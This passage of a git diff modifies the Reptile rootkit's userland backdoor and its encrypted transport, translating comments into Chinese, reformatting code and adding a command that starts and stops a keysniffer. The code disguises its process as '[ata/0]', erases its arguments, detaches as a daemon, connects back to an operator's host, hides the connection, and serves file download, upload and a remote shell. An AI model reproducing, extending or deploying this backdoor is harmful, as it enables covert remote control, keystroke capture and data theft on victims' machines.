{ - args.cmd = 4; - } else { - args.cmd = 5; - } + if (hide) { + args.cmd = 4; + } else { + args.cmd = 5; + } - args.argv = &addr; + args.argv = &addr; - if (ioctl(sockioctl, AUTH, HTUA) == 0) { - if (ioctl(sockioctl, AUTH, &args) == 0) - ioctl(sockioctl, AUTH, HTUA); - } + if (ioctl(sockioctl, AUTH, HTUA) == 0) { + if (ioctl(sockioctl, AUTH, &args) == 0) + ioctl(sockioctl, AUTH, HTUA); + } - close(sockioctl); + close(sockioctl); } #endif +// 构建 rcfile 路径 int build_rcfile_path(void) { - char *name = NAME; - int len = 6 + strlen(name) + strlen(name); + char *name = NAME; + int len = 6 + strlen(name) + strlen(name); - rcfile = (char *)malloc(len); + rcfile = (char *)malloc(len); - if (rcfile == NULL) - return -1; + if (rcfile == NULL) + return -1; - snprintf(rcfile, len, "/%s/%s_rc", name, name); - return 0; + snprintf(rcfile, len, "/%s/%s_rc", name, name); + return 0; } int main(int argc, char **argv) { - int ret, len, pid, opt, client, arg0_len, delay = 0; - short int connect_back_port = 0; - char *connect_back_host = NULL; - char *secret = NULL; - struct sockaddr_in client_addr; - struct hostent *client_host; - socklen_t n; - - while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { - switch (opt) { - case 't': - connect_back_host = strdup(optarg); - break; - case 'p': - connect_back_port = atoi(optarg); - if (!connect_back_port) { + int ret, len, pid, opt, client, arg0_len, delay = 0; + short int connect_back_port = 0; + char *connect_back_host = NULL; + char *secret = NULL; + struct sockaddr_in client_addr; + struct hostent *client_host; + socklen_t n; + + // 解析命令行参数 + while ((opt = getopt(argc, argv, "t:s:p:r:")) != -1) { + switch (opt) { + case 't': + connect_back_host = strdup(optarg); + break; + case 'p': + connect_back_port = atoi(optarg); + if (!connect_back_port) { #ifndef _REPTILE_ - usage(*argv); + usage(*argv); #endif - goto out; - } - break; - case 's': - secret = strdup(optarg); - break; - case 'r': - delay = atoi(optarg); - break; - default: + goto out; + } + break; + case 's': + secret = strdup(optarg); + break; + case 'r': + delay = atoi(optarg); + break; + default: #ifndef _REPTILE_ - usage(*argv); + usage(*argv); #endif - exit(1); - break; - } - } + exit(1); + break; + } + } - if (connect_back_host == NULL || connect_back_port == 0 || - secret == NULL) { + if (connect_back_host == NULL || connect_back_port == 0 || + secret == NULL) { #ifndef _REPTILE_ - usage(*argv); + usage(*argv); #endif - goto out; - } - - arg0_len = strlen(argv[0]); - bzero(argv[0], arg0_len); - - if (arg0_len >= 7) - strcpy(argv[0], "[ata/0]"); - - if(argv[1]) - bzero(argv[1], strlen(argv[1])); - - if(argv[2]) - bzero(argv[2], strlen(argv[2])); - - if(argv[3]) - bzero(argv[3], strlen(argv[3])); - - if(argv[4]) - bzero(argv[4], strlen(argv[4])); - - if(argv[5]) - bzero(argv[5], strlen(argv[5])); - - if(argv[6]) - bzero(argv[6], strlen(argv[6])); - - if(argv[7]) - bzero(argv[7], strlen(argv[7])); - - if(argv[8]) - bzero(argv[8], strlen(argv[8])); - - if (build_rcfile_path()) - goto out; - - pid = fork(); - - if (pid < 0) - return (ERROR); - - if (pid != 0) - return 0; - - if (setsid() < 0) - return (ERROR); - - for (n = 0; n < 1024; n++) - close(n); - - do { - if (delay > 0) - sleep(delay); - - client = socket(PF_INET, SOCK_STREAM, 0); - if (client < 0) - continue; - - client_host = gethostbyname(connect_back_host); - if (client_host == NULL) - continue; - - memcpy((void *)&client_addr.sin_addr, - (void *)client_host->h_addr, client_host->h_length); - - client_addr.sin_family = AF_INET; - client_addr.sin_port = htons(connect_back_port); - - ret = connect(client, (struct sockaddr *)&client_addr, - sizeof(client_addr)); - - if (ret < 0) { - close(client); - continue; - } + goto out; + } + + // 隐藏进程名称 + arg0_len = strlen(argv[0]); + bzero(argv[0], arg0_len); + + if (arg0_len >= 7) + strcpy(argv[0], "[ata/0]"); + + if(argv[1]) + bzero(argv[1], strlen(argv[1])); + + if(argv[2]) + bzero(argv[2], strlen(argv[2])); + + if(argv[3]) + bzero(argv[3], strlen(argv[3])); + + if(argv[4]) + bzero(argv[4], strlen(argv[4])); + + if(argv[5]) + bzero(argv[5], strlen(argv[5])); + + if(argv[6]) + bzero(argv[6], strlen(argv[6])); + + if(argv[7]) + bzero(argv[7], strlen(argv[7])); + + if(argv[8]) + bzero(argv[8], strlen(argv[8])); + + if (build_rcfile_path()) + goto out; + + // 创建子进程 + pid = fork(); + + if (pid < 0) + return (ERROR); + + if (pid != 0) + return 0; + + if (setsid() < 0) + return (ERROR); + + for (n = 0; n < 1024; n++) + close(n); + + do { + if (delay > 0) + sleep(delay); + + client = socket(PF_INET, SOCK_STREAM, 0); + if (client < 0) + continue; + + client_host = gethostbyname(connect_back_host); + if (client_host == NULL) + continue; + + memcpy((void *)&client_addr.sin_addr, + (void *)client_host->h_addr, client_host->h_length); + + client_addr.sin_family = AF_INET; + client_addr.sin_port = htons(connect_back_port); + + ret = connect(client, (struct sockaddr *)&client_addr, + sizeof(client_addr)); + + if (ret < 0) { + close(client); + continue; + } #ifdef _REPTILE_ - hide_conn(client_addr, HIDE); + hide_conn(client_addr, HIDE); #endif - ret = pel_server_init(client, secret); + ret = pel_server_init(client, secret); - if (ret != PEL_SUCCESS) { - shutdown(client, 2); + if (ret != PEL_SUCCESS) { + shutdown(client, 2); #ifdef _REPTILE_ - hide_conn(client_addr, UNHIDE); + hide_conn(client_addr, UNHIDE); #endif - continue; - } - - connect: - - ret = pel_recv_msg(client, message, &len); - - if (ret == PEL_SUCCESS || len == 1) { - if (strcmp((char *)message, EXIT) == 0) - goto end; - - switch (message[0]) { - case GET_FILE: - ret = get_file(client); - - if (ret) - goto connect; - - if (pel_send_msg(client, (unsigned char *)EXIT, - EXIT_LEN) != PEL_SUCCESS) - goto end; - - goto connect; - case PUT_FILE: - put_file(client); - goto connect; - case RUNSHELL: - runshell(client); - if (pel_send_msg(client, (unsigned char *)EXIT, - EXIT_LEN) != PEL_SUCCESS) - goto end; - - goto connect; - case SET_DELAY: - if (pel_recv_msg(client, message, &len) != - PEL_SUCCESS) - goto end; - - if (message[0] == 5) - goto connect; - - message[len] = '\0'; - delay = atoi((char *)message); - - goto connect; - default: - break; - } - } - end: - shutdown(client, 2); + continue; + } + + connect: + + ret = pel_recv_msg(client, message, &len); + + if (ret == PEL_SUCCESS || len == 1) { + if (strcmp((char *)message, EXIT) == 0) + goto end; + + switch (message[0]) { + case GET_FILE: + ret = get_file(client); + + if (ret) + goto connect; + + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case PUT_FILE: + put_file(client); + goto connect; + case RUNSHELL: + runshell(client); + if (pel_send_msg(client, (unsigned char *)EXIT, + EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + case SET_DELAY: + if (pel_recv_msg(client, message, &len) != + PEL_SUCCESS) + goto end; + + if (message[0] == 5) + goto connect; + + message[len] = '\0'; + delay = atoi((char *)message); + + goto connect; + case 'K': // 添加 keysniffer 命令处理 + if (pel_recv_msg(client, message, &len) != PEL_SUCCESS) + goto end; + if (strcmp((char *)message, "start") == 0) { + start_keysniffer(); + } + else if (strcmp((char *)message, "stop") == 0) { + stop_keysniffer(); + } + if (pel_send_msg(client, (unsigned char *)EXIT, EXIT_LEN) != PEL_SUCCESS) + goto end; + + goto connect; + default: + break; + } + } + end: + shutdown(client, 2); #ifdef _REPTILE_ - hide_conn(client_addr, UNHIDE); + hide_conn(client_addr, UNHIDE); #endif - } while (delay > 0); + } while (delay > 0); out: - if (connect_back_host) - free(connect_back_host); + if (connect_back_host) + free(connect_back_host); - if (secret) - free(secret); + if (secret) + free(secret); - return 0; -} + return 0; +} \ No newline at end of file diff --git a/src/Reptile/userland/transport/pel.c b/src/Reptile/userland/transport/pel.c index 59335a9..82d3cf9 100644 --- a/src/Reptile/userland/transport/pel.c +++ b/src/Reptile/userland/transport/pel.c @@ -14,42 +14,42 @@ #include "pel.h" #include "sha1.h" -/* global data */ +/* 全局数据 */ int pel_errno; struct pel_context { - /* AES-CBC-128 variables */ + /* AES-CBC-128 变量 */ - struct aes_context SK; /* Rijndael session key */ - unsigned char LCT[16]; /* last ciphertext block */ + struct aes_context SK; /* Rijndael 会话密钥 */ + unsigned char LCT[16]; /* 最后一个密文块 */ - /* HMAC-SHA1 variables */ + /* HMAC-SHA1 变量 */ - unsigned char k_ipad[64]; /* inner padding */ - unsigned char k_opad[64]; /* outer padding */ - unsigned long int p_cntr; /* packet counter */ + unsigned char k_ipad[64]; /* 内部填充 */ + unsigned char k_opad[64]; /* 外部填充 */ + unsigned long int p_cntr; /* 数据包计数器 */ }; -struct pel_context send_ctx; /* to encrypt outgoing data */ -struct pel_context recv_ctx; /* to decrypt incoming data */ +struct pel_context send_ctx; /* 用于加密传出数据 */ +struct pel_context recv_ctx; /* 用于解密传入数据 */ -unsigned char challenge[16] = /* version-specific */ +unsigned char challenge[16] = /* 版本特定 */ - "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" - "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; + "\x58\x90\xAE\x86\xF1\xB9\x1C\xF6" + "\x29\x83\x95\x71\x1D\xDE\x58\x0D"; unsigned char buffer[BUFSIZE + 16 + 20]; -/* function declaration */ +/* 函数声明 */ void pel_setup_context(struct pel_context *pel_ctx, char *key, - unsigned char IV[20]); + unsigned char IV[20]); int pel_send_all(int s, void *buf, size_t len, int flags); int pel_recv_all(int s, void *buf, size_t len, int flags); -/* session setup - client side */ +/* 会话初始化 - 客户端 */ int pel_client_init(int server, char *key) { @@ -58,7 +58,7 @@ int pel_client_init(int server, char *key) struct sha1_context sha1_ctx; unsigned char IV1[20], IV2[20]; - /* generate both initialization vectors */ + /* 生成两个初始化向量 */ pid = getpid(); @@ -90,26 +90,26 @@ int pel_client_init(int server, char *key) memcpy(IV2, &buffer[20], 20); - /* and pass them to the server */ + /* 将它们传递给服务器 */ ret = pel_send_all(server, buffer, 40, 0); if (ret != PEL_SUCCESS) return (PEL_FAILURE); - /* setup the session keys */ + /* 设置会话密钥 */ pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&recv_ctx, key, IV2); - /* handshake - encrypt and send the client's challenge */ + /* 握手 - 加密并发送客户端的挑战 */ ret = pel_send_msg(server, challenge, 16); if (ret != PEL_SUCCESS) return (PEL_FAILURE); - /* handshake - decrypt and verify the server's challenge */ + /* 握手 - 解密并验证服务器的挑战 */ ret = pel_recv_msg(server, buffer, &len); @@ -127,14 +127,14 @@ int pel_client_init(int server, char *key) return (PEL_SUCCESS); } -/* session setup - server side */ +/* 会话初始化 - 服务器 */ int pel_server_init(int client, char *key) { int ret, len; unsigned char IV1[20], IV2[20]; - /* get the IVs from the client */ + /* 从客户端获取 IVs */ ret = pel_recv_all(client, buffer, 40, 0); @@ -144,12 +144,12 @@ int pel_server_init(int client, char *key) memcpy(IV2, &buffer[0], 20); memcpy(IV1, &buffer[20], 20); - /* setup the session keys */ + /* 设置会话密钥 */ pel_setup_context(&send_ctx, key, IV1); pel_setup_context(&recv_ctx, key, IV2); - /* handshake - decrypt and verify the client's challenge */ + /* 握手 - 解密并验证客户端的挑战 */ ret = pel_recv_msg(client, buffer, &len); @@ -162,7 +162,7 @@ int pel_server_init(int client, char *key) return (PEL_FAILURE); } - /* handshake - encrypt and send the server's challenge */ + /* 握手 - 加密并发送服务器的挑战 */ ret = pel_send_msg(client, challenge, 16); @@ -174,10 +174,10 @@ int pel_server_init(int client, char *key) return (PEL_SUCCESS); } -/* this routine computes the AES & HMAC session keys */ +/* 该例程计算 AES 和 HMAC 会话密钥 */ void pel_setup_context(struct pel_context *pel_ctx, char *key, - unsigned char IV[20]) + unsigned char IV[20]) { int i; struct sha1_context sha1_ctx; @@ -202,7 +202,7 @@ void pel_setup_context(struct pel_context *pel_ctx, char *key, pel_ctx->p_cntr = 0; } -/* encrypt and transmit a message */ +/* 加密并传输消息 */ int pel_send_msg(int sockfd, unsigned char *msg, int length) { @@ -210,7 +210,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) struct sha1_context sha1_ctx; int i, j, ret, blk_len; - /* verify the message length */ + /* 验证消息长度 */ if (length <= 0 || length > BUFSIZE) { pel_errno = PEL_BAD_MSG_LENGTH; @@ -218,16 +218,16 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) return (PEL_FAILURE); } - /* write the message length at start of buffer */ + /* 将消息长度写入缓冲区开始位置 */ buffer[0] = (length >> 8) & 0xFF; buffer[1] = (length)&0xFF; - /* append the message content */ + /* 追加消息内容 */ memcpy(buffer + 2, msg, length); - /* round up to AES block length (16 bytes) */ + /* 向上取整到 AES 块长度 (16 字节) */ blk_len = 2 + length; @@ -235,7 +235,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) blk_len += 16 - (blk_len & 0x0F); } - /* encrypt the buffer with AES-CBC-128 */ + /* 使用 AES-CBC-128 加密缓冲区 */ for (i = 0; i < blk_len; i += 16) { for (j = 0; j < 16; j++) { @@ -247,7 +247,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) memcpy(send_ctx.LCT, &buffer[i], 16); } - /* compute the HMAC-SHA1 of the ciphertext */ + /* 计算密文的 HMAC-SHA1 */ buffer[blk_len] = (send_ctx.p_cntr << 24) & 0xFF; buffer[blk_len + 1] = (send_ctx.p_cntr << 16) & 0xFF; @@ -264,11 +264,11 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) sha1_update(&sha1_ctx, digest, 20); sha1_finish(&sha1_ctx, &buffer[blk_len]); - /* increment the packet counter */ + /* 增加数据包计数器 */ send_ctx.p_cntr++; - /* transmit ciphertext and message authentication code */ + /* 传输密文和消息认证码 */ ret = pel_send_all(sockfd, buffer, blk_len + 20, 0); @@ -280,7 +280,7 @@ int pel_send_msg(int sockfd, unsigned char *msg, int length) return (PEL_SUCCESS); } -/* receive and decrypt a message */ +/* 接收并解密消息 */ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) { @@ -290,14 +290,14 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) struct sha1_context sha1_ctx; int i, j, ret, blk_len; - /* receive the first encrypted block */ + /* 接收第一个加密块 */ ret = pel_recv_all(sockfd, buffer, 16, 0); if (ret != PEL_SUCCESS) return (PEL_FAILURE); - /* decrypt this block and extract the message length */ + /* 解密该块并提取消息长度 */ memcpy(temp, buffer, 16); @@ -309,11 +309,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) *length = (((int)buffer[0]) << 8) + (int)buffer[1]; - /* restore the ciphertext */ + /* 恢复密文 */ memcpy(buffer, temp, 16); - /* verify the message length */ + /* 验证消息长度 */ if (*length <= 0 || *length > BUFSIZE) { pel_errno = PEL_BAD_MSG_LENGTH; @@ -321,7 +321,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) return (PEL_FAILURE); } - /* round up to AES block length (16 bytes) */ + /* 向上取整到 AES 块长度 (16 字节) */ blk_len = 2 + *length; @@ -329,7 +329,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) blk_len += 16 - (blk_len & 0x0F); } - /* receive the remaining ciphertext and the mac */ + /* 接收剩余的密文和 mac */ ret = pel_recv_all(sockfd, &buffer[16], blk_len - 16 + 20, 0); @@ -338,7 +338,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) memcpy(hmac, &buffer[blk_len], 20); - /* verify the ciphertext integrity */ + /* 验证密文完整性 */ buffer[blk_len] = (recv_ctx.p_cntr << 24) & 0xFF; buffer[blk_len + 1] = (recv_ctx.p_cntr << 16) & 0xFF; @@ -361,11 +361,11 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) return (PEL_FAILURE); } - /* increment the packet counter */ + /* 增加数据包计数器 */ recv_ctx.p_cntr++; - /* finally, decrypt and copy the message */ + /* 最后,解密并复制消息 */ for (i = 0; i < blk_len; i += 16) { memcpy(temp, &buffer[i], 16); @@ -386,7 +386,7 @@ int pel_recv_msg(int sockfd, unsigned char *msg, int *length) return (PEL_SUCCESS); } -/* send/recv wrappers to handle fragmented TCP packets */ +/* 发送/接收包装器以处理分段的 TCP 数据包 */ int pel_send_all(int s, void *buf, size_t len, int flags) {